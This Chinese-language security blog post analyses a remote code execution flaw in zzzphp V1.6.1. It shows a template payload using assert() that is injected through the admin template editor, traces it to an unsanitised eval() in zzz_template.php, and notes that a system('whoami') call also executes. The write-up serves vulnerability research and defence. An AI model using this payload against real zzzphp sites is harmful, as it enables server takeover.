前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >zzzphp V1.6.1 远程代码执行漏洞分析

zzzphp V1.6.1 远程代码执行漏洞分析

作者头像
字节脉搏实验室
发布2020-03-26 12:26:44
8060
发布2020-03-26 12:26:44
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-sher10ck

这是一个通过模板来进行命令执行的一个例子,第一次遇到,很有趣。

漏洞复现

本地搭建好环境,登录后台,找到模板管理–>模板管理:

然后找到cn2016/html/search.html(其实也就是网站下/zzzphp/template/pc/cn2016/html/search.html),将里面的代码修改或者添加:

代码语言:javascript
复制
{if:assert($_request[phpinfo()])}phpinfo();{end if}

然后我们再访问 http://127.0.0.1/zzzphp/search/

看见phpinfo已经执行出来了,怎么出来的,能够怎么利用,目前还不知道,跟踪下源码吧。

漏洞分析

原来的search.html长这个样子。

首先我是跟踪到了search/index.php:

然后引用了 /inc/zzz_client.php ,跟踪下去

这里又引用了 zzz_template.php, 还不确定,先看一下。

这个文件里面有很多正则表达式,匹配了我们search.html中的{zzz:xxxx}

然后就一直往下看,在文件快结束的地方,找到了想要的代码。

有了eval函数,看来基本上就是这里了,接下来我们慢慢分析。

这里为了方便,写了一段测试代码,来看一下匹配之后的内容

代码语言:javascript
复制
<?php
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
preg_match_all( $pattern, $zcontent, $matches);
var_dump($matches)
?>

我们就晓得 $matches 变量的值了。

继续看代码

if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

$ifstr 变量的值为 $matches[ 1 ][ $i ],我们这里也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])

然后继续跟进,有一个cleft函数进行了处理,跟进:

这段代码的意思就是去除掉两边的空格之后,取出我们的第一个字符。

我们这里的 $ifstr 第一个字符 “{“ ,没啥用,最后就是:

1

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

我们这里吧 $ifstr 的值带进去。

1

@eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' );

然后本地运行一下:

居然执行了~~~

神奇。

1

eval( 'if(system("whoami")){}else{}' );

看来里面是条件语句判断也行

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档